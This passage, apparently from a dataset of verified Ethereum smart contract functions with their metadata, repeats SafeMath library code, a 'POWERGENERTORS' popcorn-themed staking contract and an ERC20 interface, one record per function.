require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
| /**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/ | NatSpecMultiLine | v0.6.4+commit.1dca32f3 | MIT | ipfs://c0944617a9285e978c3a7e81e08c0a9c40ca8bd9376d9f515eff14012f992525 | {
"func_code_index": [
1614,
2090
]
} | 585 |
||
POWERGENERTORS | POWERGENERTORS.sol | 0xf78c76a75a912c93380e0fd0d56d404ed617d340 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | div | function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.6.4+commit.1dca32f3 | MIT | ipfs://c0944617a9285e978c3a7e81e08c0a9c40ca8bd9376d9f515eff14012f992525 | {
"func_code_index": [
2561,
2698
]
} | 586 |
||
POWERGENERTORS | POWERGENERTORS.sol | 0xf78c76a75a912c93380e0fd0d56d404ed617d340 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | div | function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.6.4+commit.1dca32f3 | MIT | ipfs://c0944617a9285e978c3a7e81e08c0a9c40ca8bd9376d9f515eff14012f992525 | {
"func_code_index": [
3189,
3472
]
} | 587 |
||
POWERGENERTORS | POWERGENERTORS.sol | 0xf78c76a75a912c93380e0fd0d56d404ed617d340 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | mod | function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.6.4+commit.1dca32f3 | MIT | ipfs://c0944617a9285e978c3a7e81e08c0a9c40ca8bd9376d9f515eff14012f992525 | {
"func_code_index": [
3932,
4067
]
} | 588 |
||
POWERGENERTORS | POWERGENERTORS.sol | 0xf78c76a75a912c93380e0fd0d56d404ed617d340 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | mod | function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.6.4+commit.1dca32f3 | MIT | ipfs://c0944617a9285e978c3a7e81e08c0a9c40ca8bd9376d9f515eff14012f992525 | {
"func_code_index": [
4547,
4718
]
} | 589 |
||
POWERGENERTORS | POWERGENERTORS.sol | 0xf78c76a75a912c93380e0fd0d56d404ed617d340 | Solidity | POWERGENERTORS | contract POWERGENERTORS{
using SafeMath for uint256;
//======================================EVENTS=========================================//
event POPCORNEvent(address indexed executioner, address indexed pool, uint amount);
event DITCHEvent(address indexed executioner, address indexed pool, uint amount);
event PooppingRewardEvent(address indexed executioner, address indexed pool, uint amount);
//======================================INTERRACTING MACHINE SECTIONS=========================================//
address public popcornToken;
address public fireball;
address public operator;
address public powerToken;
bool public _machineReady;
uint256 constant private FLOAT_SCALAR = 2**64;
uint256 public MINIMUM_POP = 10000000000000000000;
uint256 private MIN_POP_DUR = 10 days;
uint256 public MIN_FIRE_TO_POP = 1000000000000000000;
uint public infocheck;
uint actualValue;
struct User {
uint256 popslot;
int256 scaledPayout;
uint256 poptime;
}
struct Info {
uint256 totalPopping;
mapping(address => User) users;
uint256 scaledPayoutPerToken; //pool balance
address admin;
}
Info private info;
//mapping(address => bool) whitelisted;
constructor() public {
info.admin = msg.sender;
_machineReady = true;
}
//======================================ADMINSTRATION=========================================//
modifier onlyCreator() {
require(msg.sender == info.admin, "Ownable: caller is not the administrator");
_;
}
modifier onlypopcornTokenoroperators() {
require(msg.sender == popcornToken || msg.sender == operator, "Authorization: only authorized contract can call");
_;
}
function machinery(address _popcornToken, address _powertoken, address _fire, address _operator) public onlyCreator returns (bool success) {
popcornToken = _popcornToken;
powerToken = _powertoken; //liquidity token
fireball = _fire;
operator = _operator;
return true;
}
function _minPopAmount(uint256 _number) onlyCreator public {
MINIMUM_POP = _number*1000000000000000000;
}
function _minFIRE_TO_POP(uint256 _number) onlyCreator public {
MIN_FIRE_TO_POP = _number*1000000000000000000;
}
function machineReady(bool _status) public onlyCreator {
_machineReady = _status;
}
function popCorns(uint256 _tokens) external {
_popcorns(_tokens);
}
function DitchCorns(uint256 _tokens) external {
_ditchcorns(_tokens);
}
function totalPopping() public view returns (uint256) {
return info.totalPopping;
}
function popslotOf(address _user) public view returns (uint256) {
return info.users[_user].popslot;
}
function cornsOf(address _user) public view returns (uint256) {
return uint256(int256(info.scaledPayoutPerToken * info.users[_user].popslot) - info.users[_user].scaledPayout) / FLOAT_SCALAR;
}
function userData(address _user) public view
returns (uint256 totalCornsPopping, uint256 userpopslot,
uint256 usercorns, uint256 userpoptime, int256 scaledPayout) {
return (totalPopping(), popslotOf(_user), cornsOf(_user), info.users[_user].poptime, info.users[_user].scaledPayout);
}
//======================================ACTION CALLS=========================================//
function _popcorns(uint256 _amount) internal {
require(_machineReady, "Staking not yet initialized");
require(FIRE(fireball).balanceOf(msg.sender) > MIN_FIRE_TO_POP, "You do not have sufficient fire to pop this corn");
require(IERC20(powerToken).balanceOf(msg.sender) >= _amount, "Insufficient power token balance");
require(popslotOf(msg.sender) + _amount >= MINIMUM_POP, "Your amount is lower than the minimum amount allowed to pop");
require(IERC20(powerToken).allowance(msg.sender, address(this)) >= _amount, "Not enough allowance given to contract yet to spend by user");
info.users[msg.sender].poptime = now;
info.totalPopping += _amount;
info.users[msg.sender].popslot += _amount;
info.users[msg.sender].scaledPayout += int256(_amount * info.scaledPayoutPerToken);
IERC20(powerToken).transferFrom(msg.sender, address(this), _amount); // Transfer liquidity tokens from the sender to this contract
emit POPCORNEvent(msg.sender, address(this), _amount);
}
function _ditchcorns(uint256 _amount) internal {
require(popslotOf(msg.sender) >= _amount, "You currently do not have up to that amount popping");
info.totalPopping -= _amount;
info.users[msg.sender].popslot -= _amount;
info.users[msg.sender].scaledPayout -= int256(_amount * info.scaledPayoutPerToken);
require(IERC20(powerToken).transfer(msg.sender, _amount), "Transaction failed");
emit DITCHEvent(address(this), msg.sender, _amount);
}
function Takecorns() external returns (uint256) {
uint256 _dividends = cornsOf(msg.sender);
require(_dividends >= 0, "you do not have any corn yet");
info.users[msg.sender].scaledPayout += int256(_dividends * FLOAT_SCALAR);
require(IERC20(popcornToken).transfer(msg.sender, _dividends), "Transaction Failed"); // Transfer dividends to msg.sender
emit PooppingRewardEvent(msg.sender, address(this), _dividends);
return _dividends;
}
function scaledPower(uint _amount) external onlypopcornTokenoroperators returns(bool){
info.scaledPayoutPerToken += _amount * FLOAT_SCALAR / info.totalPopping;
infocheck = info.scaledPayoutPerToken;
return true;
}
function mulDiv (uint x, uint y, uint z) public pure returns (uint) {
(uint l, uint h) = fullMul (x, y);
assert (h < z);
uint mm = mulmod (x, y, z);
if (mm > l) h -= 1;
l -= mm;
uint pow2 = z & -z;
z /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint r = 1;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
return l * r;
}
function fullMul (uint x, uint y) private pure returns (uint l, uint h) {
uint mm = mulmod (x, y, uint (-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
} | _popcorns | function _popcorns(uint256 _amount) internal {
require(_machineReady, "Staking not yet initialized");
require(FIRE(fireball).balanceOf(msg.sender) > MIN_FIRE_TO_POP, "You do not have sufficient fire to pop this corn");
require(IERC20(powerToken).balanceOf(msg.sender) >= _amount, "Insufficient power token balance");
require(popslotOf(msg.sender) + _amount >= MINIMUM_POP, "Your amount is lower than the minimum amount allowed to pop");
require(IERC20(powerToken).allowance(msg.sender, address(this)) >= _amount, "Not enough allowance given to contract yet to spend by user");
info.users[msg.sender].poptime = now;
info.totalPopping += _amount;
info.users[msg.sender].popslot += _amount;
info.users[msg.sender].scaledPayout += int256(_amount * info.scaledPayoutPerToken);
IERC20(powerToken).transferFrom(msg.sender, address(this), _amount); // Transfer liquidity tokens from the sender to this contract
emit POPCORNEvent(msg.sender, address(this), _amount);
}
| //======================================ACTION CALLS=========================================// | LineComment | v0.6.4+commit.1dca32f3 | MIT | ipfs://c0944617a9285e978c3a7e81e08c0a9c40ca8bd9376d9f515eff14012f992525 | {
"func_code_index": [
3607,
4647
]
} | 590 |
||
BitSwap_5 | BitSwap_5.sol | 0x9ceaf86c4f96dadb746544f89675bc7f5f543c54 | Solidity | ERC20Interface | contract ERC20Interface {
// Get the total token supply
function totalSupply() view public returns (uint256);
// Get the account balance of another account with address _owner
function balanceOf(address _owner) view public returns (uint256);
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value) public returns (bool success);
// Send _value amount of tokens from address _from to address _to
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
// this function is required for some DEX functionality
function approve(address _spender, uint256 _value) public returns (bool success);
// Returns the amount which _spender is still allowed to withdraw from _owner
function allowance(address _owner, address _spender) view public returns (uint256 remaining);
// Triggered when tokens are transferred.
event Transfer(address indexed _from, address indexed _to, uint256 _value);
// Triggered whenever approve(address _spender, uint256 _value) is called.
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} | totalSupply | function totalSupply() view public returns (uint256);
| // Get the total token supply | LineComment | v0.5.0+commit.1d4f565a | bzzr://d827dc2b10ff2bb38b05225ec2e197d9c60156ce73d52c545437590eccc5237c | {
"func_code_index": [
62,
120
]
} | 591 |
|||
BitSwap_5 | BitSwap_5.sol | 0x9ceaf86c4f96dadb746544f89675bc7f5f543c54 | Solidity | ERC20Interface | contract ERC20Interface {
// Get the total token supply
function totalSupply() view public returns (uint256);
// Get the account balance of another account with address _owner
function balanceOf(address _owner) view public returns (uint256);
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value) public returns (bool success);
// Send _value amount of tokens from address _from to address _to
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
// this function is required for some DEX functionality
function approve(address _spender, uint256 _value) public returns (bool success);
// Returns the amount which _spender is still allowed to withdraw from _owner
function allowance(address _owner, address _spender) view public returns (uint256 remaining);
// Triggered when tokens are transferred.
event Transfer(address indexed _from, address indexed _to, uint256 _value);
// Triggered whenever approve(address _spender, uint256 _value) is called.
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} | balanceOf | function balanceOf(address _owner) view public returns (uint256);
| // Get the account balance of another account with address _owner | LineComment | v0.5.0+commit.1d4f565a | bzzr://d827dc2b10ff2bb38b05225ec2e197d9c60156ce73d52c545437590eccc5237c | {
"func_code_index": [
194,
264
]
} | 592 |
|||
BitSwap_5 | BitSwap_5.sol | 0x9ceaf86c4f96dadb746544f89675bc7f5f543c54 | Solidity | ERC20Interface | contract ERC20Interface {
// Get the total token supply
function totalSupply() view public returns (uint256);
// Get the account balance of another account with address _owner
function balanceOf(address _owner) view public returns (uint256);
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value) public returns (bool success);
// Send _value amount of tokens from address _from to address _to
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
// this function is required for some DEX functionality
function approve(address _spender, uint256 _value) public returns (bool success);
// Returns the amount which _spender is still allowed to withdraw from _owner
function allowance(address _owner, address _spender) view public returns (uint256 remaining);
// Triggered when tokens are transferred.
event Transfer(address indexed _from, address indexed _to, uint256 _value);
// Triggered whenever approve(address _spender, uint256 _value) is called.
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} | transfer | function transfer(address _to, uint256 _value) public returns (bool success);
| // Send _value amount of tokens to address _to | LineComment | v0.5.0+commit.1d4f565a | bzzr://d827dc2b10ff2bb38b05225ec2e197d9c60156ce73d52c545437590eccc5237c | {
"func_code_index": [
319,
401
]
} | 593 |
|||
BitSwap_5 | BitSwap_5.sol | 0x9ceaf86c4f96dadb746544f89675bc7f5f543c54 | Solidity | ERC20Interface | contract ERC20Interface {
// Get the total token supply
function totalSupply() view public returns (uint256);
// Get the account balance of another account with address _owner
function balanceOf(address _owner) view public returns (uint256);
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value) public returns (bool success);
// Send _value amount of tokens from address _from to address _to
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
// this function is required for some DEX functionality
function approve(address _spender, uint256 _value) public returns (bool success);
// Returns the amount which _spender is still allowed to withdraw from _owner
function allowance(address _owner, address _spender) view public returns (uint256 remaining);
// Triggered when tokens are transferred.
event Transfer(address indexed _from, address indexed _to, uint256 _value);
// Triggered whenever approve(address _spender, uint256 _value) is called.
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} | transferFrom | function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
| // Send _value amount of tokens from address _from to address _to | LineComment | v0.5.0+commit.1d4f565a | bzzr://d827dc2b10ff2bb38b05225ec2e197d9c60156ce73d52c545437590eccc5237c | {
"func_code_index": [
475,
576
]
} | 594 |
|||
BitSwap_5 | BitSwap_5.sol | 0x9ceaf86c4f96dadb746544f89675bc7f5f543c54 | Solidity | ERC20Interface | contract ERC20Interface {
// Get the total token supply
function totalSupply() view public returns (uint256);
// Get the account balance of another account with address _owner
function balanceOf(address _owner) view public returns (uint256);
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value) public returns (bool success);
// Send _value amount of tokens from address _from to address _to
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
// this function is required for some DEX functionality
function approve(address _spender, uint256 _value) public returns (bool success);
// Returns the amount which _spender is still allowed to withdraw from _owner
function allowance(address _owner, address _spender) view public returns (uint256 remaining);
// Triggered when tokens are transferred.
event Transfer(address indexed _from, address indexed _to, uint256 _value);
// Triggered whenever approve(address _spender, uint256 _value) is called.
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} | approve | function approve(address _spender, uint256 _value) public returns (bool success);
| // Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
// this function is required for some DEX functionality | LineComment | v0.5.0+commit.1d4f565a | bzzr://d827dc2b10ff2bb38b05225ec2e197d9c60156ce73d52c545437590eccc5237c | {
"func_code_index": [
825,
911
]
} | 595 |
|||
BitSwap_5 | BitSwap_5.sol | 0x9ceaf86c4f96dadb746544f89675bc7f5f543c54 | Solidity | ERC20Interface | contract ERC20Interface {
// Get the total token supply
function totalSupply() view public returns (uint256);
// Get the account balance of another account with address _owner
function balanceOf(address _owner) view public returns (uint256);
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value) public returns (bool success);
// Send _value amount of tokens from address _from to address _to
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
// this function is required for some DEX functionality
function approve(address _spender, uint256 _value) public returns (bool success);
// Returns the amount which _spender is still allowed to withdraw from _owner
function allowance(address _owner, address _spender) view public returns (uint256 remaining);
// Triggered when tokens are transferred.
event Transfer(address indexed _from, address indexed _to, uint256 _value);
// Triggered whenever approve(address _spender, uint256 _value) is called.
